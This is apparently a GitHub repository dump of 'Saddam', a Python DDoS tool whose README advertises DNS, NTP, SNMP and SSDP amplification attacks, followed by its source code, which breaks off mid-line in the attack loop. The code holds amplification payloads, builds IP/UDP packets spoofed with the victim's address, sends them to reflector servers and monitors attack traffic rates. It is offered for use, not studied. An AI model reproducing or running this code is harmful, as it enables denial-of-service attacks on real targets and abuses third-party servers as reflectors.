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Saddam 2 | DDoS Tool that supports: 3 | * DNS Amplification (Domain Name System) 4 | * NTP Amplification (Network Time Protocol) 5 | * SNMP Amplification (Simple Network Management Protocol) 6 | * SSDP Amplification (Simple Service Discovery Protocol) 7 | 8 | ![](http://2.bp.blogspot.com/-TkNwFJsznto/VOs3l0uSgDI/AAAAAAAAALQ/S5BNt8ULwpg/s1600/9.png) 9 | 10 | Read more about DDoS Amplification Attacks [here](http://www.pythonforpentesting.com/2015/02/ddos-amplification-attacks.html) 11 | 12 | Donation would be much appreciated: 1Gi5Rpz5RBEUpGknSwyRgqzk7b5bQ7Abp2 13 | # Requierments 14 | * OS Supports raw sockets 15 | * Python 2.7 16 | * [Pinject](https://github.com/OffensivePython/Pinject) 17 | 18 | # Usage 19 | ``` 20 | _____ __ __ 21 | / ___/____ _____/ /___/ /___ _____ ___ 22 | \__ \/ __ `/ __ / __ / __ `/ __ `__ \ 23 | ___/ / /_/ / /_/ / /_/ / /_/ / / / / / / 24 | /____/\__,_/\__,_/\__,_/\__,_/_/ /_/ /_/ 25 | https://github.com/OffensivePython/Saddam 26 | https://twitter.com/OffensivePython 27 | 28 | Usage: 29 | Saddam.py target.com [options] # DDoS 30 | Saddam.py benchmark [options] # Calculate AMPLIFICATION factor 31 | 32 | 33 | Options: 34 | -h, --help show this help message and exit 35 | -d FILE:FILE|DOMAIN, --dns=FILE:FILE|DOMAIN 36 | DNS Amplification File and Domains to Resolve (e.g: 37 | dns.txt:[evildomain.com|domains_file.txt] 38 | -n FILE, --ntp=FILE NTP Amplification file 39 | -s FILE, --snmp=FILE SNMP Amplification file 40 | -p FILE, --ssdp=FILE SSDP Amplification file 41 | -t N, --threads=N Number of threads (default=1) 42 | ``` 43 | -------------------------------------------------------------------------------- /Saddam.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import sys 3 | import time 4 | import socket 5 | import struct 6 | import threading 7 | from random import randint 8 | from optparse import OptionParser 9 | from pinject import IP, UDP 10 | 11 | USAGE = ''' 12 | %prog target.com [options] # DDoS 13 | %prog benchmark [options] # Calculate AMPLIFICATION factor 14 | ''' 15 | 16 | LOGO = r''' 17 | _____ __ __ 18 | / ___/____ _____/ /___/ /___ _____ ___ 19 | \__ \/ __ `/ __ / __ / __ `/ __ `__ \ 20 | ___/ / /_/ / /_/ / /_/ / /_/ / / / / / / 21 | /____/\__,_/\__,_/\__,_/\__,_/_/ /_/ /_/ 22 | https://github.com/OffensivePython/Saddam 23 | https://twitter.com/OffensivePython 24 | ''' 25 | 26 | HELP = ( 27 | 'DNS Amplification File and Domains to Resolve (e.g: dns.txt:[evildomain.com|domains_file.txt]', 28 | 'NTP Amplification file', 29 | 'SNMP Amplification file', 30 | 'SSDP Amplification file', 31 | 'Number of threads (default=1)' ) 32 | 33 | OPTIONS = ( 34 | (('-d', '--dns'), dict(dest='dns', metavar='FILE:FILE|DOMAIN', help=HELP[0])), 35 | (('-n', '--ntp'), dict(dest='ntp', metavar='FILE', help=HELP[1])), 36 | (('-s', '--snmp'), dict(dest='snmp', metavar='FILE', help=HELP[2])), 37 | (('-p', '--ssdp'), dict(dest='ssdp', metavar='FILE', help=HELP[3])), 38 | (('-t', '--threads'), dict(dest='threads', type=int, default=1, metavar='N', help=HELP[4])) ) 39 | 40 | BENCHMARK = ( 41 | 'Protocol' 42 | '| IP Address ' 43 | '| Amplification ' 44 | '| Domain ' 45 | '\n{}').format('-'*75) 46 | 47 | ATTACK = ( 48 | ' Sent ' 49 | '| Traffic ' 50 | '| Packet/s ' 51 | '| Bit/s ' 52 | '\n{}').format('-'*63) 53 | 54 | PORT = { 55 | 'dns': 53, 56 | 'ntp': 123, 57 | 'snmp': 161, 58 | 'ssdp': 1900 } 59 | 60 | PAYLOAD = { 61 | 'dns': ('{}\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01' 62 | '{}\x00\x00\xff\x00\xff\x00\x00\x29\x10\x00' 63 | '\x00\x00\x00\x00\x00\x00'), 64 | 'snmp':('\x30\x26\x02\x01\x01\x04\x06\x70\x75\x62\x6c' 65 | '\x69\x63\xa5\x19\x02\x04\x71\xb4\xb5\x68\x02\x01' 66 | '\x00\x02\x01\x7F\x30\x0b\x30\x09\x06\x05\x2b\x06' 67 | '\x01\x02\x01\x05\x00'), 68 | 'ntp':('\x17\x00\x02\x2a'+'\x00'*4), 69 | 'ssdp':('M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\n' 70 | 'MAN: "ssdp:discover"\r\nMX: 2\r\nST: ssdp:all\r\n\r\n') 71 | } 72 | 73 | amplification = { 74 | 'dns': {}, 75 | 'ntp': {}, 76 | 'snmp': {}, 77 | 'ssdp': {} } # Amplification factor 78 | 79 | FILE_NAME = 0 # Index of files names 80 | FILE_HANDLE = 1 # Index of files descriptors 81 | 82 | npackets = 0 # Number of packets sent 83 | nbytes = 0 # Number of bytes reflected 84 | files = {} # Amplifications files 85 | 86 | SUFFIX = { 87 | 0: '', 88 | 1: 'K', 89 | 2: 'M', 90 | 3: 'G', 91 | 4: 'T'} 92 | 93 | def Calc(n, d, unit=''): 94 | i = 0 95 | r = float(n) 96 | while r/d>=1: 97 | r = r/d 98 | i+= 1 99 | return '{:.2f}{}{}'.format(r, SUFFIX[i], unit) 100 | 101 | def GetDomainList(domains): 102 | domain_list = [] 103 | 104 | if '.TXT' in domains.upper(): 105 | file = open(domains, 'r') 106 | content = file.read() 107 | file.close() 108 | content = content.replace('\r', '') 109 | content = content.replace(' ', '') 110 | content = content.split('\n') 111 | for domain in content: 112 | if domain: 113 | domain_list.append(domain) 114 | else: 115 | domain_list = domains.split(',') 116 | return domain_list 117 | 118 | def Monitor(): 119 | ''' 120 | Monitor attack 121 | ''' 122 | print ATTACK 123 | FMT = '{:^15}|{:^15}|{:^15}|{:^15}' 124 | start = time.time() 125 | while True: 126 | try: 127 | current = time.time() - start 128 | bps = (nbytes*8)/current 129 | pps = npackets/current 130 | out = FMT.format(Calc(npackets, 1000), 131 | Calc(nbytes, 1024, 'B'), Calc(pps, 1000, 'pps'), Calc(bps, 1000, 'bps')) 132 | sys.stderr.write('\r{}{}'.format(out, ' '*(60-len(out)))) 133 | time.sleep(1) 134 | except KeyboardInterrupt: 135 | print '\nInterrupted' 136 | break 137 | except Exception as err: 138 | print '\nError:', str(err) 139 | break 140 | 141 | 142 | def AmpFactor(recvd, sent): 143 | return '{}x ({}B -> {}B)'.format(recvd/sent, sent, recvd) 144 | 145 | def Benchmark(ddos): 146 | print BENCHMARK 147 | i = 0 148 | for proto in files: 149 | f = open(files[proto][FILE_NAME], 'r') 150 | while True: 151 | soldier = f.readline().strip() 152 | if soldier: 153 | if proto=='dns': 154 | for domain in ddos.domains: 155 | i+= 1 156 | recvd, sent = ddos.GetAmpSize(proto, soldier, domain) 157 | if recvd/sent: 158 | print '{:^8}|{:^15}|{:^23}|{}'.format(proto, soldier, 159 | AmpFactor(recvd, sent), domain) 160 | else: 161 | continue 162 | else: 163 | recvd, sent = ddos.GetAmpSize(proto, soldier) 164 | print '{:^8}|{:^15}|{:^23}|{}'.format(proto, soldier, 165 | AmpFactor(recvd, sent), 'N/A') 166 | i+= 1 167 | else: 168 | break 169 | print 'Total tested:', i 170 | f.close() 171 | 172 | class DDoS(object): 173 | def __init__(self, target, threads, domains, event): 174 | self.target = target 175 | self.threads = threads 176 | self.event = event 177 | self.domains = domains 178 | def stress(self): 179 | for i in range(self.threads): 180 | t = threading.Thread(target=self.__attack) 181 | t.start() 182 | def __send(self, sock, soldier, proto, payload): 183 | ''' 184 | Send a Spoofed Packet 185 | ''' 186 | udp = UDP(randint(1, 65535), PORT[proto], payload).pack(self.target, soldier) 187 | ip = IP(self.target, soldier, udp, proto=socket.IPPROTO_UDP).pack() 188 | sock.sendto(ip+udp+payload, (soldier, PORT[proto])) 189 | def GetAmpSize(self, proto, soldier, domain=''): 190 | ''' 191 | Get Amplification Size 192 | ''' 193 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 194 | sock.settimeout(2) 195 | data = '' 196 | if proto in ['ntp', 'ssdp']: 197 | packet = PAYLOAD[proto] 198 | sock.sendto(packet, (soldier, PORT[proto])) 199 | try: 200 | while True: 201 | data+= sock.recvfrom(65535)[0] 202 | except socket.timeout: 203 | sock.close() 204 | return len(data), len(packet) 205 | if proto=='dns': 206 | packet = self.__GetDnsQuery(domain) 207 | else: 208 | packet = PAYLOAD[proto] 209 | try: 210 | sock.sendto(packet, (soldier, PORT[proto])) 211 | data, _ = sock.recvfrom(65535) 212 | except socket.timeout: 213 | data = '' 214 | finally: 215 | sock.close() 216 | return len(data), len(packet) 217 | def __GetQName(self, domain): 218 | ''' 219 | QNAME A domain name represented as a sequence of labels 220 | where each label consists of a length 221 | octet followed by that number of octets 222 | ''' 223 | labels = domain.split('.') 224 | QName = '' 225 | for label in labels: 226 | if len(label): 227 | QName += struct.pack('B', len(label)) + label 228 | return QName 229 | def __GetDnsQuery(self, domain): 230 | id = struct.pack('H', randint(0, 65535)) 231 | QName = self.__GetQName(domain) 232 | return PAYLOAD['dns'].format(id, QName) 233 | def __attack(self): 234 | global npackets 235 | global nbytes 236 | _files = files 237 | for proto in _files: # Open Amplification files 238 | f = open(_files[proto][FILE_NAME], 'r') 239 | _files[proto].append(f) # _files = {'proto':['file_name', file_handle]} 240 | sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) 241 | i = 0 242 | while self.event.isSet(): 243 | for proto in _files: 244 | soldier = _files[proto][FILE_HANDLE].readline().strip() 245 | if soldier: 246 | if proto=='dns': 247 | if not amplification[proto].has_key(soldier): 248 | amplification[proto][soldier] = {} 249 | for domain in self.domains: 250 | if not amplification[proto][soldier].has_key(domain): 251 | size, _ = self.GetAmpSize(proto, soldier, domain) 252 | if size==0: 253 | break 254 | elif size